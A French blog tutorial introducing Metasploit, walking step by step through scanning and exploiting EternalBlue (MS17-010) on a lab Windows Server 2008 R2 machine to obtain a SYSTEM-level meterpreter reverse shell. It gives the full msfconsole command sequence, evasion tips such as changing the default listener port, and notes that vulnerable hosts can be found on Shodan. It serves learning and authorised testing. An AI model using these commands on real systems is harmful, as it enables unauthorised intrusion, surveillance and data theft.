Pentest : Metasploit et faille EternalBlue
Depuis le temps que nous en parlions… ENFIN un article sur du pentest ! Aujourd’hui, introduction à Metasploit et petit test avec l’exploit EternalBlue !
Pendant cette fameuse période de confinement, j’en ai profité pour enfin me former un peu plus sur la sécurité informatique, notamment via des formations en ligne. J’avais parlé au mois de novembre que j’allais prochainement sortir quelques articles sur Kali Linux et le monde du Pentest, et bien c’est désormais chose faite ! Nous allons voir aujourd’hui ce qu’est Metasploit et comment l’utiliser pour prendre la main sur un Windows Server 2008 R2 via la faille EternalBlue.
Petit disclaimer, je ne suis en aucun cas un expert en cybersécurité ou autre, juste un administrateur système désireux d’en savoir plus 😉
I) Qu’est-ce que Metasploit ?
Metasploit est donc un framework écrit en Ruby et permettant d’automatiser/simplifier tout un tas de procédés en matière de hacking, au sens large. Scan de ports et prise d’informations, utilisation d’exploits et de payloads prêts à l’emploi, encodeurs permettant de rendre la tâche aux antivirus plus difficile, et j’en passe. C’est donc une véritable boîte à outils bien complète et permettant même l’ajout de différents modules pour plus de flexibilité, plutôt pas mal !
Avant tout, un peu de vocabulaire car sinon on risque de vite se perdre…
- Exploit : Script/Programe conçu pour utiliser une faille présente dans un logiciel ou service ;
- Payload : code qui sera exécuté sur la cible une fois celle-ci compromise via un exploit ;
- Encoder : programme permettant de rendre plus difficilement détéctable les payloads ;
Un peu plus clair maintenant, non ? On poursuit.
II) Utiliser Metasploit
Il y a plusieurs moyens d’utiliser Metasploit, plusieurs interfaces comme on dit :
msfconsole : Console de base en ligne de commande, c’est celle la plus souvent utilisée ;
msfweb : Interface web, très peu utilisée ;
msfcli : Console en ligne de commande avancée, à utiliser si vous savez précisément quel exploit/payload utilisé ;
msfGUI : Interface graphique basique ;
Armitage : Logiciel graphique écrit en Java étant une surcouche à Metasploit, et simplifiant un maximum le pentest ;
Il en existe encore d’autres, mais le plus important est de connaître celles-ci, surtout pour débuter. Ici nous utiliserons l’interface la plus connue, c’est-à-dire msfconsole.
Bien, passons à la pratique ! Ici je suis sur une kali tout à fait classique, avec un kernel 5.4 et la version 5.0 de Metasploit :
Pour démarrer Metasploit, soit vous passez par Applications puis Outils d’exploitation, soit vous pouvez lancer le logiciel via la commande sudo service postgresql start && sudo msfconsole dans un terminal :
Comme on peut le voir, à l’heure où j’écris ces lignes, il y a près de 2000 exploits disponibles, 560 payloads, et 45 encodeurs différents… concernant les autres informations affichées, ça ne nous intéresse pas pour l’instant, nous les verrons peut être dans un futur article.
*Petite note: comme vous aurez pu le constater, il convient de démarrer Metasploit avec root pour éviter des soucis de permission par la suite, et démarrer le service postgresql avant pour pouvoir utiliser la BDD de Metasploit.
Pour vérifier si la liaison à la BDD est ok, on peut effectuer la commande db_status voir même msfdb init :
Niquel, on va donc pour commencer à s’amuser pour de bon ! Ici je prendrai comme machine cible une machine virtuelle sous Windows Server 2008 R2 avec comme adresse IP 192.168.1.50/24, et comme toujours dans ce genre d’article je vous rappelle de réaliser ces actions uniquement sur votre réseau local ou sur des machines vous appartenant, enfin vous connaissez les classiques…
Bien, ici je ne vais pas détailler les différentes manières de réaliser une attaque avec les préparatifs que cela incombe, on va rester au plus simple. Il faut donc commencer par réaliser un scan de notre cible, et ici deux chois s’offrent à nous grossièrement :
- Soit via nmap, le logiciel de scan le plus connu, qui peut être démarré depuis metasploit directement au travers de la commande db_nmap et qui stockera donc les informations récoltées dans la BDD, mais qui peut facilement être repérable car il s’agit d’un scan actif, c’est-à-dire que notre machine va communiquer avec la cible ;
- Soit via p0f, qui n’est pas intégré directement à Metasploit mais qui permet des scans passifs, dans le sens où notre machine va analyser les trames TCP/UDP transitant sur le réseau pour en déduire le type d’OS et les différents services tournant sur la cible. Ce type de scan est plus difficilement repérable mais aussi plus long à s’exécuter ;
Ici on se contentera donc du fameux nmap, et comme dit plus haut nous l’exécuterons comme ceci :
db_nmap -sV 192.168.1.50
Via cette commande, on va donc exécuter un scan sur notre cible et en spécifiant les arguments -s et -V nous allons activer la détection de l’OS client et des services tournants sur la machine cible ainsi qu’activer le mode verbeux. Sinon, on peut tout aussi bien lancer avec l’argument -A qui va rassembler un maximum d’informations sur la cible.
Bien, désormais toutes ces informations sont sauvegardées dans notre BDD, et nous pouvons revoir les hôtes en effectuant la commande hosts.
A partir de là on peut voir que le service SMB tournant sur le port 445 de notre cible est en écoute… et il s’avère qu’une faille critique et très connue est disponible, connue sous le nom d’EternalBlue. On peut vérifier si Metasploit contient bien cet exploit via la commande search EternalBlue :
Il est bien repertorié ! On va donc utiliser le module auxiliaire de Metasploit permettant les scans SMB, et particulièrement celui par rapport à ce fameux exploit :
use auxiliary/scanner/smb/smb_ms17_010
Au passage, pour ceux désirant en savoir plus sur cette fameuse faille, demandons à notre cher Wikipédia :
EternalBlue est un exploit développé par la NSA. Il est révélé et publié par le groupe de hackers The Shadow Brokers le 14 avril 2017. Cet exploit utilise une faille de sécurité présente dans la première version du protocole SMB (SMBv1). Bien que cette faille de sécurité ait déjà été résolue par Microsoft par une mise à jour de sécurité publiée le 14 mars 2017, de nombreux utilisateurs de Windows n’avaient toujours pas installé ce correctif de sécurité lorsque, le 12 mai 2017, le ransomware « WannaCry » utilise cette faille de sécurité pour se propager
Après ce petit apparté, on vérifie ensuite les différentes options qui s’offrent à nous via la commande show options :
Ici il nous suffirat de renseigner les variables RHOST et RPORT qui sont donc l’IP de la cible ainsi que le port 445 (qui est déjà pris en compte par défaut). Pour renseigner une valeur, il nous suffit donc d’effectuer la commande set RHOST 192.168.1.50 et de valider.
Si ensuite on effectue la commande run, on sera vite fixé si notre cible est vulnérable à cette faille ou non…
Bingo ! C’est bien le cas ! On va donc désormais faire la commande suivante pour cette fois utiliser l’exploit et non plus le scanner :
use exploit/windows/smb/ms17_010_eternalblue
Ensuite on charge notre payload, c’est-à-dire pour rappel le code qui sera exécuté sur la machine cible pour en prendre le contrôle :
set payload windows/x64/meterpreter/reverse_tcp
Ici ce sera donc un shell en reverse_tcp, grossièrement ce sera donc une connexion initiée depuis la cible vers notre machine, à la différence d’un bind_shell où ce serait une liaison de notre machine vers la cible, ce qui est facilement détectable.
Ensuite, on vérifie les options demandées par le payload et il nous suffit donc de renseigner l’addresse IP puis tout sera bon !
Et bien oui mais non, il nous manque deux derniers paramètres, le processus qui sera infecté par notre payload et le LHOST… ici nous allons choisir le processus svchost.exe. J’avoue que je ne saurais pas trop vous expliquer ce que fait ce processus, il semblerait que ce soit un des processus les plus important du côté Windows et c’est celui généralement utilisé lors d’injection de payload.
Pour setup ce paramètre, il faudra utiliser la commande suivante :
set processname svchost.exe
Et enfin en dernier, le fameux LHOST qui est donc l’adresse IP de notre machine, qui signifie Listener Host :
set LHOST ip_de_votre_kali
A partir de là, on est vraiment bon ! En général il convient aussi de changer le LPORT, c’est-à-dire le port d’écoute sur notre machine, car le 4444 est très connu et donc facilement détéctable ici aussi.
On exécute ensuite le tout via la commande exploit qui est ma foi fort explicite, on patiente et…
.=.=.=.=-WIN-=.=.=.=.
Je pense que là aussi, c’est assez explicite ! L’exploit a fonctionné !
A partir de là on peut réaliser un peu tout ce que l’on veut, il suffit d’aller piocher ici. A noter que nous sommes
Comme on peut le voir ici, nous sommes bien connecté en Autorité NT Système (supérieur au compte Administrateur classique) sur la machine, et on peut donc télécharger, modifier, supprimer des fichiers, jouer avec la caméra/le micro, ou encore éteindre de force la machine…
En à peine 10 minutes, on aura donc réussi à prendre contrôle d’un serveur Windows 2008 R2 et ce, sans avoir recours à des techniques de phishing ou autre… plutôt effrayant/fascinant non ?
Bien entendu, comme dit avant, cette faille a été patchée depuis, enfin pour les machines étant à jour… mais si l’on se rend sur Shodan et cie on peut voir qu’il y a encore beaucoup de machines vulnérables dans le monde. J’avais aussi testé cet exploit sur un Windows 7 Pro et j’avais réussi à m’y connecté en Autorité NT Local, donc pas encore le St Graal, mais il existe plusieurs façons d’augmenter ses privilèges et là c’est le jackpot. De ce que j’ai lu, cette faille est aussi présente pour Windows 8 d’une certaine manière, prudence donc !
Et bien ceci conclut donc ce premier article sur le « Pentest » au sens large, encore une fois je ne suis pas un expert en cybersécurité et ceci était une première approche de Metasploit, qui est terriblement puissant. Je ferai sûrement d’autres articles sur Kali Linux étant donné que l’on me l’a beaucoup demandé 😉
Bonne journée/soirée à vous !
10 comments